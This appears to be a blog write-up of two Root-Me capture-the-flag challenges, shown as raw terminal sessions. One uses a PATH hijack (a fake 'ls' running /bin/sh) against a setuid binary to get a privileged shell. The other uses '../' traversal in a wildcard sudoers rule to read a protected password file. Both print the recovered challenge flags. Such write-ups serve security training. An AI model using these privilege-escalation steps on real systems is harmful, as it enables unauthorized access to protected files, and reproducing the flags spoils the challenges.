Root-Me

Posted on Views: Disqus:

Root-Me

root-me

Bash - System 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app-script-ch11@challenge02:~$ ls -la
total 36
dr-xr-x---  2 app-script-ch11-cracked app-script-ch11 4096 Dec 10  2021 .
drwxr-xr-x 25 root                    root            4096 Sep  5  2023 ..
-r--------  1 root                    root             775 Dec 10  2021 ._perms
-rw-r-----  1 root                    root              43 Dec 10  2021 .git
-r--------  1 app-script-ch11-cracked app-script-ch11   14 Dec 10  2021 .passwd
-r--r-----  1 app-script-ch11-cracked app-script-ch11  494 Dec 10  2021 Makefile
-r-sr-x---  1 app-script-ch11-cracked app-script-ch11 7252 Dec 10  2021 ch11
-r--r-----  1 app-script-ch11-cracked app-script-ch11  187 Dec 10  2021 ch11.c
app-script-ch11@challenge02:~$ sudo -u  app-script-ch11-cracked ./ch11
[sudo] password for app-script-ch11:
app-script-ch11 is not in the sudoers file.  This incident will be reported.
app-script-ch11@challenge02:~$ sudo -ll
[sudo] password for app-script-ch11:
Sorry, user app-script-ch11 may not run sudo on challenge02.
app-script-ch11@challenge02:~$ ./ch11
/challenge/app-script/ch11/.passwd
app-script-ch11@challenge02:~$ echo "/bin/sh" > /tmp/ls
app-script-ch11@challenge02:~$ export PATH=/tmp:$PATH
app-script-ch11@challenge02:~$ ./ch11
$ id
uid=1408(app-script-ch11-cracked) gid=1311(app-script-ch11) groups=1311(app-script-ch11),100(users)
$ cat /challenge/app-script/ch11/.passwd
!oPe96a/.s8d5

sudo - weak configuration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
app-script-ch1@challenge02:~$ ls
ch1cracked  notes  readme.md
app-script-ch1@challenge02:~$ cat readme.md
Vous devez réussir à lire le fichier .passwd situé dans le chemin suivant :
/challenge/app-script/ch1/ch1cracked/

You have to read the .passwd located in the following PATH :
/challenge/app-script/ch1/ch1cracked/
app-script-ch1@challenge02:~$ ls -la
total 28
dr-xr-x---  4 app-script-ch1-cracked app-script-ch1         4096 Dec 10  2021 .
drwxr-xr-x 25 root                   root                   4096 Sep  5  2023 ..
-r--------  1 root                   root                    921 Dec 10  2021 ._perms
-rw-r-----  1 root                   root                     42 Dec 10  2021 .git
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1-cracked 4096 Dec 10  2021 ch1cracked
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1         4096 Dec 10  2021 notes
-rw-r-----  1 app-script-ch1         app-script-ch1          217 Dec 10  2021 readme.md
app-script-ch1@challenge02:~$ ls notes/
shared_notes
app-script-ch1@challenge02:~$ ls ch1cracked/
ls: cannot open directory 'ch1cracked/': Permission denied
app-script-ch1@challenge02:~$ sudo -ll
[sudo] password for app-script-ch1:
Matching Defaults entries for app-script-ch1 on challenge02:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host,
    !mail_no_perms, !mail_no_user

User app-script-ch1 may run the following commands on challenge02:

Sudoers entry:
    RunAsUsers: app-script-ch1-cracked
    Commands:
	/bin/cat /challenge/app-script/ch1/notes/*
app-script-ch1@challenge02:~$ sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/*
#####################
        Todo

- Change DHCP pool
- Change IP routing
- Beef up the fw
app-script-ch1@challenge02:~$ sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../ch1cracked/.passwd
b3_c4r3ful_w1th_sud0